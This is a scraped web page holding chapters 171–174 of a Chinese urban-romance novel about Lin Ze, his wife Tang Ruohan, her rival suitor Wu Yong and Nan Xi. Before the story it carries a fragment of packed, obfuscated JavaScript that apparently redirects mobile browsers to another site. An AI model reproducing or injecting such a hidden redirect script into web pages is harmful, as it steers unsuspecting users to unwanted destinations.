l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011640|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂断电话! 将手机扔到一旁,唐若涵打开车窗,心中念头更加清晰。 …… 同一时间。 东海市中心繁华地段。 普罗旺斯会所。 二楼包间,灯光绚烂。 三个穿着清凉的女“服务生”站在一角,正满心雀跃地望着沙发上的男子。 吴庸坐在沙发中间,神情悠然。 盯着手机看了一会儿,眼角重新露出笑意。 “生气了。” “肯定是担心我的身体,所以才发小脾气,你们不用着急,继续喝。” 举起左手,吴庸优雅地打了一个响指。 抬手间。 钻石袖扣的光芒再次璀璨起来。 听闻此言。 旁边。 一位穿着高定西装的男子瞬间凑过来,声音当中充满玩味。 “吴哥,还是你厉害,都让唐若涵耍起小性子来了,怎么着,什么时候喝你们的喜酒啊?” “二丁,喝喜酒只是个形式,咱吴哥风度翩翩,气质非凡,估计现在唐家大小姐早就深陷其中了。” 接上话茬的,是庞二丁左边的男子。 男子身着浅灰色西装,粉红色衬衣上打了精致的领结。 把话说完。 那人当场拿起酒瓶,将面前的酒杯满上。 名表,袖扣,还有手上晃眼的金戒指。 无论哪一样,都在彰显此人身价非凡。 听着两个人说话,吴庸的眼睛都眯成了一道缝。 一阵**过后,今天的太阳打西边出来了? 本以为,上次东海大酒店的事情以后,唐若涵会冷落自己一阵子,没有想到,她竟然主动给自己打电话了? 一阵眩晕感袭过来,吴庸整个人都轻飘飘的。 目光落在手腕处的绷带上,他瞬间感觉,这次受伤仿佛也值了。 刚才。 唐若涵生气地挂断电话。 不就是因为担心自己喝酒吗? 身上有伤还喝酒,这么不注意身体,这丫头生气了…… “呵呵……” 心满意足的笑了两声,吴庸看准了面前一个染着红头发的丰满……女服务生。 “你,过来,陪我聊聊。” 吴庸声音慵懒,笑着勾了勾手指头。 女人见状,几乎是飞一般地扑过来。 衣服本就穿得不多,如此飞奔,简直清凉……至极。 “吴哥,人家早就想陪你聊一会儿了。” 妩媚的声音当中带着娇嗔。 香水味瞬间将吴庸包围。 女人一边抛媚眼,一边朝吴庸身上凑。 庞二丁见状,嘿嘿笑了好几声。 “丽丽呀,能陪吴哥聊天是你的福气,你可要把这天聊好了。” “放心吧,二哥,人家早就仰慕吴哥已久,做梦都盼着这一天呢!” 女人坐在沙发上,像是不经意地把超短裙往上提了提。 吴庸嘴角上扬。 有些东西,看到了,像是没看到。 包间的灯光本就刺眼,现在,看什么都是白晃晃的一片。 遗憾的是。 现在有伤在身,不能喝酒。 所以……只能聊聊了。 吴庸低头,使劲地嗅了嗅。 “这香水,可真香,还是这里自在,出了这门,净他妈烦心事!” 第171章 吴庸手下的两条狗。 “吴哥,都这样了还不满足啊?要是让我守着唐家大小姐,嘿嘿……” 庞二丁挑挑眉毛,眼神里的意思非常明显。 吴庸想抬手否定,可右手刚往前一伸,又赶紧落下。 手腕处肌肉严重拉伤,稍一动就又酸又痛。 偏偏这会儿记吃不记打,刚好一点儿就忘了。 庞二丁见状,急忙凑过身子,双手将吴庸的手扶住。 “你可小心点儿,吴哥,注意咱的胳膊。” 提到胳膊,吴庸几乎是本能的想到东海大酒店的事情,脸瞬间沉下来。 “丽丽,还愣着干什么,没看到吴哥火气大呀,赶紧倒杯水给败败火。” 看到情况不对劲,庞二丁赶紧对着红头发的女人眨眨眼睛。 女人赶紧起身。 不一会儿便端过来一杯绿茶。 “吴哥,别不开心了,喝点茶水消消气。”女人声音发嗲。 吴庸摆了摆左手,“喝着药呢,茶就不喝了。” 刚才还兴致满满,可想到林泽,一切都变了味儿。 庞二丁的眼珠子转了转,转身拿起包,当场甩出一沓钞票,“你们几个,拿钱走人。” 三个女人瞬间狂喜,不管不顾,地弯腰在地上捡钱。 眨眼的工夫。 一沓钱就被捡得干干净净。 没等庞二丁再次开口,三人一路小跑着离开包间。 戴着金戒指的男人按了一下遥控器,房间里很快安静下来。 没有了霓虹灯提升氛围,桌子上的酒也成了摆设。 这时。 庞二丁坐在吴庸的对面。 “吴哥,女人嘛,耍性子不是什么大事,您别放在心上,”说到这儿,庞二丁看向另外一边,“您瞅瞅雷子,身边的女人都数不过来,就算她们发脾气也顾不上。” 话音刚落。 被称作雷子的人便干笑了两声。 “还真就那么回事,女人不能惯着,越惯越矫情!” 唐若涵的事情,吴庸不知道该怎么开口。 所以不管面前的两个人怎么说,吴庸的眉头始终皱成一团。 对面两个人相互看了一眼,想到最近的传闻,雷子的话语当中又多了一丝试探。 “吴哥,外头说的不是真的吧?唐家的老爷子真看不上你啊?” “不是,他一个倒插门有什么好的,不管哪一点他也比不上吴哥呀。” “我看唐老爷子就是糊涂了,要换做是我,我早就翻脸了,别说打我了,他多看我一眼试试,我抠了他眼珠子!” “草!” 此话一出,吴庸瞬间拉下脸。 “这些,从哪听说的?” “这还用听啊,现在传得满大街都是,谁不知道唐家的老爷子,为了那个倒插门女婿把你给打了,而且打得还不轻。” 雷子拿起一支烟,眼睛盯着吴庸的胳膊。 “你身上的伤,就是被你的准老丈人打的吧?” “你放屁!”吴庸瞬间瞪圆眼睛,声音陡然变高,“这他妈是林泽打的我,你还想让我管林泽叫爹呀!” 吴庸心里一团火。 传闻本就不可信,他也不会放在心上。 可是,莫名其妙的就让林泽长了辈分,他咽不下这口气去! “嘶——” 雷子倒吸凉气,急忙点头哈腰赔罪。 “吴哥,您别生气,我这不也是听来的吗?” 庞二丁给吴庸点上烟,赶紧接着讨好。 “吴哥,你别听雷子瞎放屁,他就是耳朵根子软,别人不知道我们还不清楚啊,你跟唐若涵那么多年的感情,就算唐家所有人都反对,唐若涵也是喜欢你的!” 庞二丁这么一说。 吴庸的心情终于好了一点,脸上的神情也有所缓和。 抽了一口烟,终于接上了庞二丁的话茬。 “还别说,真是这么回事,如果没有之前的感情基础,估计我跟唐若涵早就完蛋了。” “我他妈就想不明白了,那个林泽就是跟我犯冲,每次事情有点进展,他准冒出来。” “每次事情都得被他搅黄,老子真他妈服了!” “哟呵!”雷子站起身,伸手捋了一下大背头,瞬间梗起脖子,“吴哥,这口气兄弟帮你出,你就说断条胳膊还是断条腿吧!” “有些事儿你不好出面,兄弟我帮你干!” “不掀起点风浪来,还真就让那些小虾米骑到脖子上拉屎了!” 雷子眼睛眯成一道缝,目光逐渐变狠厉。 那样子。 仿佛是随时待命的一条狗,只要吴庸一发话,他瞬间就能冲出去。 庞二丁见状,也跟着表态。 “没错,有什么事情?吴哥您说话!” 吴庸一直皱着眉头,对于他们两个人的心思,吴庸心里门儿清。 现在,眼前这两个人混得人模狗样,全是因为当年他的扶持。 倘若没有暗地里他给的那些钱,庞二丁和雷子也不会混得如此风光。 这会儿他从海外归来,事业又做得风生水起,这两个人看他的眼神都冒着光。 他们巴不得自己这边有点什么事情,他们好表现一下。 只是现在对林泽下狠手,到底还早了一些。 “再等等吧,倘若那小子不识相,再动手也不迟。” “不是吧,吴哥,这气你也咽得下去?” 庞二丁想拱火,却被吴庸的一个眼神压下去。 见状不妙,庞二丁急忙转移话题。 “我的意思是,再怎么着咱们也不能让那个倒插门看扁了,实在不行,让雷子给咱们分享一下经验啊!” “二哥过奖了,谈不上经验,小弟只是略有些心得。” 雷展硕话说得谦虚,可嘴角已经扬起一丝完美的弧度。 吴庸看看对面的两个人,心中当下有了另外一番盘算。 眼下。 可以说,庞二丁跟雷展硕是自己的左膀右臂。 正如同他们说的那样,有些事情可以明打明的做,可有些事情放不到台面上去。 所以。 这层关系必须要维系住。 庞二丁爱钱,雷展硕爱搞事情。 这两个人放在一块,简直是绝配。 “行啊,难得聚在一块儿,咱们得好好聊一聊!” 端起面前的茶水,吴庸继续说道:“今天,我就以茶代酒了,回头等身体好了,咱们喝个痛快的!” “没错,难得咱们又聚到一起,兄弟们必然是有福同享,有难同当。” “没错,干了!” …… 走出会所。 天已经黑了。 雷展硕和庞二丁分别跟着手下走。 吴庸则是自己开车回去。 喝了一下午的茶,吴庸脑子清醒至极。 今天唐若涵的这通电话,让他心情大好,可仔细琢磨下来,吴庸还是感觉有些不对劲。 若要说关心。 唐若涵可以用无数种办法。 可为什么打电话的时候偏偏提到了庞二丁? 吴庸眉头紧皱,握着方向盘的手也不由得加大了力道。 不管是庞二丁还是雷展硕,他们都清楚自己跟唐若涵之间的关系。 要说他们背着自己私底下做什么动作,吴庸是不相信的。 可唐若涵打这通电话是什么意思? 绞尽脑汁地想了半天,吴庸依然是一头雾水。 眼看到了十字路口。 一阵犹豫过后,吴庸还是选择了往左拐的道路。 …… 另外一边。 回到别墅。 南希换好衣服,赶紧开始注意楼下的动静。 上次跟庞林吃饭不欢而散,南希始终放心不下。 万一父亲知道些什么,那以后她就别想出门了。 可想想刚才见面时父亲的态度,南希猜测,目前应该没有什么大问题。 可昨天晚上的围堵事件,依旧是南希心中的一个疙瘩。 “会是他吗?应该不会吧?” “我已经把话说得很清楚,不喜欢别人干预我的生活,他这么做,只会让我们的关系越来越僵。” “所以,应该不是他吧?” 南希尽量把事情想成是凑巧,可拿着的手机始终不曾放下。 “咚咚咚——” 一阵敲门声传出。 紧接着是杨玉茹温婉的声音。 “小希,要吃晚饭了。” “好的,杨姨。” 南希收回思绪,快速走到门口。 看到杨玉茹并没有离开,南希直接跟杨玉茹一块下楼。 “今天心情不错啊,是不是遇到了什么高兴的事情?” 杨玉茹一边询问,一边小心翼翼地观察着南希的神情。 南希摸摸脸颊,故意将话题往庞林身上引。 “高兴的事情倒不至于,不过,完成了我爸交给的任务,我们两个人都能轻松了。” “任务?”杨玉茹轻笑,“小希,你这样讲就误会你爸了,你爸这么做都是为你好,他是担心你以后一个人太辛苦。” “其实这种事情我也可以理解,但是,缘分不是一个人的事,总得双方都得有感觉。” 话刚说到这里,南希脑海当中便闪过林泽的面孔。 双向奔赴的爱情,才是最美好的。 杨玉茹脚步一滞,脸上瞬间露出喜色。 “小希你也是这么想的?看来,你跟庞少还真是有缘分,想法都一样!” “什么?” 杨玉茹拉起南希的手,轻轻地拍了拍,语重心长道:“刚刚,庞少打过电话来了,聊起跟你吃饭的情形,庞少很开心呢!” “后来,他讲的话跟你刚才说的几乎一模一样。” “说两个人在一起要靠缘分,还得都有感觉才行。” 南希听闻。 心一点点地往下沉。 脸上再次露出疑惑的表情。 庞林又跟父亲通话了? 他没有说自己提前离开的事情? “杨姨,他后来没说什么吗?” “没有啊,就说你们聊得挺开心的。”杨玉茹的声音当中透露着轻松。 可南希的心里却像压了一块石头。 庞林,他会一边维系跟南家关系,一边让人动手对付林泽吗? 南希再一次心不在焉。 突然。 南耀辉的催促声传来。 “小希,快过来!” “爸跟你说一件事!” 第172章 凌晨三点,她睡不着了。 南耀辉站在餐桌前,不停地对南希招手。 看到这幅情,南希更加忐忑。 庞林是不是阴奉阳违的人,目前她不清楚,但是沈平韵说的那个姓庞的人,她一定要查明白! “赶紧坐下来吃饭,咱们顺便说一件事情。” 南耀辉心情不错,主动把南希面前的椅子拉开。 “什么事?爸怎么想到在餐桌上说了?” 坐下的同时,南希问出一句。 南耀辉抬眼看了一下杨玉茹,最后将目光放在南希的身上。 “小希,之前你说不打算出国,我也做了一下相应的安排。” “现在你岁数也不小了,集团终究要交到你的手上,我想着,先给你几个子公司让你锻炼一下。” “早点接触早点正式步入轨道,终究有益无害。” 说到这里,南耀辉顿了一下。 “咱们南家的大小姐不能让人小瞧了,你说是不是?” 南希愣住。 这个决定太突然了。 让人有些猝不及防。 身为南家唯一的继承人,南希明白,接手集团是迟早的事。 可杨玉茹说庞林刚刚打了电话,现在,父亲就做了这种决定,这是不是太巧了些? 缓过神后,南希故作轻松的询问。 “爸,这件事情不着急,我刚回国,还想再适应一下,不如……以后再说?” “别等以后了,现在就是最好的时机,你有个心理准备,明天我带你去集团,咱们先认识一下集团里的一些元老。” 南耀辉声音不大,语气里却充满了不容置疑。 南希一下子慌了。 明天就去集团? 认识了骨干元老以后,那她是不是每天都得在集团里了? 若真是那样,以后怎么跟林泽见面啊? “不行!” 南希斩钉截铁,当场拒绝。 南耀辉的脸瞬间沉了下来。 “怎么,你还有事?什么事情比接手集团更加重要?” 见场面不好收拾,南希一把抓住杨玉茹的胳膊,一边摇晃一边撒娇。 “杨姨,你看我爸,就是这么武断,说是商量,实际上就是独断专行!” “人家好不容易才回国,还没有好好放松,时差都还没倒过来呢,他就把时间安排得死死的。” “他这就是压榨劳动力!” 说着,南希甚至把头靠在了杨玉茹的肩上。 “看我多可怜,杨姨,你帮着人家说句话呗!” 被南希搂着胳膊,杨玉茹已经受宠若惊。 这么多年来,南希跟她从来没有像现在这样亲密过。 杨玉茹清楚,在南希的心里,自己连她母亲的万分之一都比不上,可南希这亲昵的动作瞬间让她有了被重视的感觉。 大脑一阵眩晕,杨玉茹当即表明立场。 “小希说得对,总得让孩子缓缓神,你……要不再考虑考虑?” “接手集团那是早晚的事,不差这几天,你让孩子先转转?调整好状态以后接手不更容易上手吗?” 杨玉茹脸上一直带着笑。 说话的时候,眼睛里的温柔几乎要溢出来。 南耀星微微皱眉,故意做出一副生气的样子。 “好啊,你们两个联合起来跟我唱对台戏了,什么时候这么好的?” 见南耀星脸上的神情有所缓和,南希急忙趁热打铁。 “我跟杨姨的关系本来就好,对不对?杨姨?” “对,本来就好!一直就好!” 对面的两个人拧成了一股绳,即便不愿意,南耀辉也只好妥协。 “那就再缓几天,下次我再提的时候就不能推了。” “好,我保证!” 南希雀跃。 答应的同时,身体挺直,直接对着南耀辉敬了一个礼! “好了,多大的人了都还像小孩一样,赶紧坐下吃饭!” 南耀辉再次催促,气氛跟着变轻松。 南希悄悄吸了一口气。 心……终于落下了! 刚才……太险了! 庆幸的同时,心中又升起些许失落。 眼下这一劫算是躲过去了,可用不了多久,就真的无法跟林泽随意见面了…… …… 晚饭过后。 林泽去了一趟医院。 爷爷已经睡着,并没有听到他进病房的脚步声。 小心翼翼地在床头守了一会儿,林泽起身去安然的办公室。 最近这段时间。 主治医师去外地培训,爷爷还有几位病人的资料便全移交到了安然手上。 距离上次跟安医生见面,已经过了两天。 依照时间来推算,最佳方案应该已经做出来了。 像是知道林泽心中所想一般,在林泽刚刚推开门的那一刹那,安然立刻从椅子上站起来。 很快。 手里也多了一些资料。 “林泽,你看看这个,”安然说着,将资料递给林泽,“如果这里面有什么问题,你随时可以提出来。” 林泽看了一下资料内容,心中顿时一暖。 资料是手写的。 爷爷的健康状况,病情发展,以及在后续过程当中可能遇到的问题,安然都描述得极其详细。 另外。 安然还整理出一些急救措施。 整整三大张,密密麻麻。 “谢谢你,安医生,我觉得应该没有什么要注意的了。” 安然脸上闪过一丝为难。 林泽的难处,她明白。 在这三年里,林泽对林振山照顾得无微不至,不要说是孙子了,哪怕是亲生儿子,也未必能够做到如此周全。 在尽孝这一点上,林泽当之无愧。 可面对林振山的想法,安然也不能说有错。 看到孙子如此辛苦,林振山于心不忍,在这期间,他无数次提出要停止治疗,为的就是不想拖累林泽。 两个人的出发点都是好的,只是立场不同。 所以,现在林泽面临的不光是回家与否的问题,还是生与死的选择。 依照林振山的状况,如果这次回老家,有可能就再也回不来了。 两个人都没有再说话,办公室里一片安静。 安然嘴唇翕动,眉宇间始终带着一丝犹豫。 那件事情,始终是瞒不住的。 可到底是现在告诉他,还是等以后再说,安然心中依旧无法抉择。 这时。 林泽的声音突然传出。 “安医生,谢谢你。” “谢我干什么?” 安然挑了挑柳眉,精致面孔上满是疑惑。 林泽将手里的资料收好,“安医生,爷爷早就嘱咐过我了,说有时间了,让我向你郑重地说一声谢谢,他说这三年里多亏了你,辛苦你了。” 安然一怔,眉头瞬间收紧。 相处三年。 在安然看来,林振山不光是她的患者,他跟林泽更像是自己的朋友。 每次看到林泽坚定的目光,安然便觉得仿佛在跟林泽共同努力。 而每次治疗以后,看到老人疲惫的神情,安然也会跟着难过。 现在听到林泽这样讲,安然的心,也像是被什么东西揪住了一般。 这声谢谢,虽然由衷,可更像是诀别。 在医院里工作,免不了接触生死。 有时候看似淡然,可心还是会被触动。 微微低下头,安然努力在嘴角扬起一丝笑容。 “好,我知道了。” 细听之下。 短短几个字里带着些许不自然。 “安医生您先忙,我就不打扰了,有什么事情我再给您打电话。” “好。” 安然客气地回了一句。 林泽点头,这才离开办公室。 望着林泽的背影,安然心绪起伏。 多好的一个人啊,客气稳重,又有礼貌。 命运对他们祖孙二人实在是太不公了。 安然皱起眉头,手也不由得跟着握紧。 …… 唐若涵失眠了。 盯着墙上的钟表,望着指针一圈圈游走,可他始终一点睡意都没有。 “快点睡,不然明天又要迟到了。” “唐若涵,你疯了吗,现在都凌晨三点了,再不休息,明天真的起不来了。” “已经连着迟到好几天,不能再这样下去了。” 诸如此类的话,唐若涵都不知道告诉自己多少遍。 可是。 一闭上眼睛,最近发生的那些事情如同断了片的电影,全都跟着涌上来。 房子…… 姓庞的…… 父母的态度,林泽和南希的关系…… 所以这一切,似乎在无形当中形成了一张大网,几乎勒得她喘不过气。 还有,南希的话到底是真是假? 当初在林泽的住处,对于他们被围堵的事情,南希只草草的说了两句。 可这里面的信息,却让唐若涵挖掘不完。 凌晨的夜晚。 林泽跟南希在一起? 脑海当中只是闪过这个念头。 唐若涵便又会想起,南希穿着林泽衬衣的画面…… 没好气地翻了一个身,唐若涵将被子蒙住头,情绪这才稳定了些。 “叮咚——” 手机提示音传出。 唐若涵急忙把被子推到一旁。 房间里落针可闻。 提示音清亮而突兀。 现在时间是凌晨三点,谁会发信息过来? 借着床头柔和的灯光,唐若涵看到手机屏幕上显示一则未读消息。 看到发件人。 唐若涵眉头瞬间拧成一团。 刚想把手机扔到一旁。 提示音又来了。 胡乱对着屏幕点了几下,手机当中,传出这慵懒的声音。 “小涵,今夜无眠,不知道你睡了没有?雨后月光清冷,我却无法入睡。” 只听到一句。 唐若涵便想起那人姿态闲散,要笑不笑的样子。 第173章 唐总病了,他去哪儿了? 心中本来就有一股子无名火发不出来,听到吴庸的声音,唐若涵脑袋都要气炸了! 此刻。 在唐若涵的心中,已经认定了一个事实。 当初在东海大酒店,林泽让吴庸丢了人。 吴庸气不过,所以让庞二丁找林泽的麻烦! 无论事情是否得逞,吴庸都欠庞二丁一个人情,所以,他们几个人在酒吧里喝酒。 是这样的。 肯定是这个样子的! 唐若涵越想越气,剩下的语音消息听都没有听,直接将手机关机。 瞬间。 房间里安静下来。 除了唐若涵大口喘气的声音以外,再也听不到其他。 怔怔地坐在床上,唐若涵呆若木鸡。 等到有些许睡意的时候,钟表的指针已经指向五点十分。 …… 唐若涵没有料到自己会生病。 更不曾想到,再次睁开眼的时候,天已经亮了。 嗓子里像含着刀片,浑身的力气也如同被抽干一般。 艰难地打开手机,她这才看清时间。 这一觉。 竟然睡到了八点半! 浑浑噩噩地摸了一下额头,唐若涵瞬间意识到今天不仅迟到,而且还生病了。 就在思索的片刻。 手机当中又传来一连串的提示音。 看着未读消息增加,唐若涵的眉头也皱得越来越紧。 这期间有吴庸发过来的,也有王静发过来的。 吴庸的消息可以不管,但是王静不行。 唐若涵点了其中一则消息,很快王静焦急的声音便传出。 “唐总,一会的会议是不是要推迟?还有十分钟会议就要开始,您现在在哪里?” “唐总,您的手机打不通,我将会议推迟到下午了,如果有什么变动,您随时通知我。” “有几份文件已经整理好,是今天要签字的,唐总,您什么时候来?” “……” 王静着急,留言的声音听在唐若涵的耳朵里有些刺耳。 强撑着坐起来,唐若涵皱眉拨通了王静的电话。 “唐总,您终于有消息了,公司这边……!” 王静的话还没有说完,唐若涵直接将其打断。 “王静,把要签字的文件送到我别墅来,还有,顺带着给我带点……退烧药。” 唐若涵声音断断续续,极其嘶哑。 王静听完瞬间慌了。 “唐总,您是生病了吗,嗓子怎么哑成这个样子?要不要去医院?我现在要联系救护车……” “不用,带文件和退烧药过来就行。” 说完。 唐若涵将电话挂断。 她想靠在床头,可是身体却不自觉地往下移,仅仅说了几句话又开始大口地喘气。 怎么会生病? 难道昨天下雨着凉了? 脑袋像针扎一样,可唐若涵却连接杯水的力气都没有。 昨天下雨了,风还很大。 肯定是受了风寒。 突然。 唐若涵脑海当中闪过南希喝紫苏姜茶的样子。 紫苏姜茶散风寒,林泽曾经说过。 只可惜。 那杯茶不是煮给自己的。 感觉身体一阵发冷,唐若涵只盼着王静能够早点过来。 眼下,能解决当前状况的,只有退烧药了。 …… 闪创影视传媒。 总裁办公室。 王静弯着腰,加速整理着面前的资料。 很快。 刚才放好的几份文件,又被王静整理到收藏夹中。 尽管手头上的事情已经办完,可王静的眉头始终皱得紧紧的。 唐总怎么了? 昨天还好好的,怎么今天就病成这个样子了? 想起刚才唐若涵疲惫嘶哑的嗓音,王静的心又悬起来。 “文件,退烧药……” 喃喃自语过后,王静突然挑起眉毛。 唐若涵生病了,林泽去哪儿了! 姓林的不是唐总的丈夫吗,唐总虚弱成那个样子,他是听不到还是看不到? 纯纯把自己当成睁眼瞎了! “哼!有些人就是表里不一,就是个白眼狼,吃着唐家的,喝着唐家的,就是不办人事!” “不管怎么说,你都是她的丈夫,你老婆病成这个样子,真就当看不到?” 王静越说越生气,深吸一口气后,当场抓起手机。 不行! 今天这件事情,一定要找他问清楚! 王静一边翻找林泽的电话号码,一边组织语言。 甚至,嘴角还扬起笑意。 上一次,林泽的冷嘲热讽,她至今记忆犹新。 还有那巴掌…… 现在想想,王静依旧倒吸凉气。 现在虽然不能当场把巴掌还回去,可好容易有一个机会,绝对不能错过! “林泽,找到了!” 话音未落。 王静已经按下拨通键。 铃声一直在响,却没有人接听。 王静的脸色越来越难看,疑惑也越来越浓。 “怎么回事,真把自己当成人物了,竟然连电话都不接!” 咬牙切齿地甩出一句话。 王静再次按重播键。 一连三次。 全都是无人接听的状态。 强烈的不适感让王静几乎崩溃,恨恨地在办公室里转了个圈,最后又不甘心地打了一次。 突然。 电话通了! “你想要干什么?” 林泽声音冰冷,语气当中的烦躁没有丝毫掩饰。 王静蒙圈。 缓过神后,王静的声音陡然提高了八个分贝。 “林泽!你还好意思问我要干什么,问这话的时候,你的良心不会痛吗!” “你死哪儿去了,不知道唐总生病了吗,不管现在你在什么地方,我命令你,赶紧回去照顾唐总!” “唐总在发烧,马上准备退烧药,不行就叫救护车!” 声音一句高过一句。 最后的话说出来时,王静自己都听不下去。 声音怎么像破喇叭? 又尖锐又难听。 电话那端怔了一下,随后林泽的声音再一次传出。 “我不是医生,不会治病,唐若涵病了,要么去医院,要么找吴庸照顾,你不用给我打电话。” “什么!” 王静一下子跳起来。 “你再说一遍,你是唐总的丈夫,你有责任跟义务照顾她,你这么说是想推卸责任吗!” “我早就知道你这人不靠谱,你就是奔着唐家的钱去的,你骗得了唐总,你骗不了我。” “林泽,你这个死骗子,我命令你……” 王静还想说什么。 电话那端突然传来忙音。 之前想好的那些话还没说完,对方竟然把电话挂断了。 更可气的是。 王静再次打过去,却是另外一种状态。 “嘟嘟嘟——” “您所拨打的电话正忙。” “忙?忙个屁呀忙,我还不知道你把我给拉黑了?林泽,你可够狠的!” 得知被拉黑。 王静脑袋嗡嗡作响,整个人如同缺氧一般。 拳头打在棉花上的无力感,想象跟现实之间的落差,直接让王静崩溃。 她可是年薪几十万的高级白领。 竟然被一个村子里的土包子无视! 这……简直无法容忍! 王静想摔东西。 可手里只有那份文件夹。 望着文件上的字体,王静不得不冷静下来。 这些文件是要让唐若涵签字的,而且,现在唐若涵还在等退烧药…… 深吸一口气。 王静缓缓闭上眼睛。 努力调节情绪过后,这才走出总裁办公室。 …… 望着窗外熟悉的画面,林泽脸上的神情逐渐变得柔和。 乡间小路,依旧是记忆时的模样。 只是当初的那个少年已经长大。 曾经。 无数次。 爷爷拉着他的手在田间漫步。 他也记不清有过多少次,在爷爷的肩膀上睡着。 终于回家了。 这里充满记忆,充满温暖。 唯一不同的是,现在爷爷正靠在他的肩膀上。 爷爷很虚弱,虽然想勉强打起精神,可这一路上也只是睁开了几次眼睛。 摸着爷爷瘦骨嶙峋的手,林泽鼻子发酸。 “小泽,是不是公司……有什么事?” 再次睁开眼睛,林振山目光当中闪过担忧。 林泽摇头。 “没事的爷爷,打错了,电话不是找我的。” “那就好。” 话音未落。 林振山又将眼睛闭上。 林泽的眉头微微皱起。 还好爷爷相信他说的话,不然,爷爷又要担心了。 这个王静,真不知道在抽什么疯! 唐若涵不舒服,她对着自己大吼大叫什么? 病重了去医院。 病轻的话,找她的白月光,应该是很正常的吧? 别说现在自己正在乡下,没有办法回去照顾唐若涵。 就算时间距离恰当,在他们已经递交离婚申请的情况下,吴庸照顾唐若涵,岂不是比自己更合适? 现在。 林泽什么都不愿意考虑,只想安安静静地陪着爷爷。 司机师傅也很细心。 在田间路上开车的时候,刻意放缓了速度,这样一来,也减少了很多颠簸。 时间一点点过去,终于到了村头。 望着眼前熟悉的房子,林泽脸上露出一丝笑意。 半睡半醒的林振山似乎感觉到了什么,也跟着睁开眼睛。 “小泽,我们是……到家了吗?” “是,爷爷您看,这不是咱们的房子吗?这么长时间不住,还是之前的样子。” 看到那处破旧的院落,林泽心中顿时充满急切感。 一时间。 路边的野草,门口的几朵野花,仿佛也增加了不少颜色。 “司机师傅,谢谢您了,在前面停车就可以。” 林泽伸手指了指前面。 司机爽快地答应。 …… “林泽,像你这样的人,一定会遭到报应的!” “唐总现在正在生病,这笔账我暂时给你记着。” “等到唐总病好了,我一定把你说的话,原原本本的告诉唐总,我要让唐总知道你是什么样的人!” 王静咬牙切齿,两只手死死地握着方向盘。 一路上。 她的嘴都没有停下来过。 好像只有这样,心里才能平衡一些。 突然。 一个急刹车! 王静好像想到了什么。 第174章 熟悉的声音,想哭。 迅速将车停到路边,王静迫不及待地拨通了一个电话号码。 “吴先生,您现在在哪里?唐总生病了,您知道吗?” 王静眼睛在不停地转。 耳朵也竖得直直的,时刻关注着手机那端的声音。 果然。 吴庸声音当中满是疑惑。 “什么?唐总什么时候生病的?人现在在医院还是在家里?” 王静叹了一口气。 添油加醋地把刚才的情形说了一下。 到最后。 声音这才缓和起来。 悄悄地咽了一口口水,王静还用起了夹子音。 “我想着,这么大的事情得告诉吴先生一声,所以,这通电话没有打扰到您吧?” “没有,王秘书,谢谢你了,我马上就过去。” 吴庸声音急切。 王静似乎还听到了抓钥匙的声音。 故意轻笑一声,王静又故作关心地嘱咐。 “那,吴先生开车要小心,一定要注意安全噢,您放心,我一会儿就到唐总这边。” “不!”吴庸声音陡然拔高,“你那边先不着急,我先过去,回头我给你响电话,你再进门。” 王静一怔,虽然一时间没有想明白是怎么回事,可还是点头答应。 “好的,吴先生,我等您的消息。” 电话挂断。 王静长长地松了一口气。 有了吴庸的安排,事情就不着急了。 看了一下周围。 王静决定,先靠在座椅上眯一会儿。 …… 盛世豪庭。 唐若涵蜷成一团,整个人缩在被子里,可还是不停地打冷战。 身上的无力感,以及上牙碰下牙的声音让她更加恍惚。 刚才的灼热感还没消失,现在,身体就像被丢入冰窖一般。 一会儿热一会儿冷。 如此不停地交替。 此刻。 唐若涵脑海里的想法更加清晰。 这次肯定是生病了,而且还病得不轻。 喉咙发痛,眼皮发涩。 哆哆嗦嗦地闭上眼睛,唐若涵好像听到有声音从远处传来。 “唐总,喝点糯米粥吧,我在里面放了生姜,还有葱头。” “这个带须的香菜,是必不可少的,你坚持着喝一些,一会儿身体就会舒服了。” “等你睡着了我再离开,今天晚上,我做些清淡的饭菜。” 唐若涵将身体蜷缩,不自觉地咽了一口口水。 重新找了个舒服点的姿势,又将头埋在枕头当中。 “我将药研成粉装进糯米胶囊当中,您喝下去一点都不苦的。” “我再给您加床被子。” “……” 唐若涵鼻子发酸,突然有种想哭的冲动。 不知道是病的难受,还是因为听到了熟悉的声音。 那种无力感和委屈感,似乎要将她包围。 突然。 她再次听到脚步声。 恍惚当中。 好像还有一只手放在她的额头上。 “怎么烫成这个样子……” 话,唐若涵只听到了一半,剩下的那些又说了什么,她已经无力去分析了。 此刻,唐若涵只感觉冰冷一片。 “林泽,我……冷。” “冷?哦,没事的,我现在就找被子,一会儿就好了啊!” 听到唐若涵虚弱的声音,吴庸迅速起身打开衣柜。 一连开了好几个衣柜以后,终于看到了一床被子。 将棉被盖在唐若涵的身上,吴庸眉头皱成一个川字。 床上。 唐若涵的脸泛着不正常的潮红,柳眉也紧紧地蹙着。 现在可是夏天。 唐仲寒身上盖了两床被子,还喊冷,这是病到了什么程度? 吴庸一阵犹豫,心情也跟着纠结起来。 这个时候,该不该把她送到医院? 按道理说,唐若涵已经病得不轻了,叫救护车去医院才是最妥帖的处理方式。 可是。 就这么把人送走,吴庸又有些不甘心。 真到了医院,医生护士忙前忙后,唐若涵醒来以后,怎会记得他的辛苦付出? 如此一来。 好好的机会不就让给医生和护士了吗? “林泽,今天晚上吃什么?” 唐若涵虚弱的声音再次传出。 吴庸大脑一片空白! “什么?小涵,你在说什么?” 几乎是没有考虑,吴庸本能地问出一句。 直到这个时候,他似乎才想到了刚才那句话。 好像……唐若涵刚才叫的就是林泽! 该死啊! 病成这个样子,心里想的还是林泽那个狗东西! 吴庸手握成拳,青筋暴起。 唐若涵已经烧糊涂了。 否则不会说胡话。 意识到这一点,吴庸开始面无表情地跟王静联系。 “王静,你不用进来了,我现在联系救护车,你一会儿直接去医院。” “好的,吴先生。” 王静回答得干脆利索。 如同吴庸挂电话的速度一般。 …… 两个小时以后。 唐若涵缓缓睁开眼睛。 冰火两重天的感觉已经悄然褪去,可浑身依旧没有半丝力气。 再次吸吸鼻子。 唐若涵闻到了酒精的味道。 瞬间。 整个人都谨慎起来。 刚想抬手,手背处又传来一阵刺痛。 她这才看清楚,面前正吊着点滴。 “我怎么会在这儿?” 声音依旧嘶哑,同时又充满疑惑。 “唐总,您可醒了,可把我们吓坏了,刚才您差一点晕过去!” 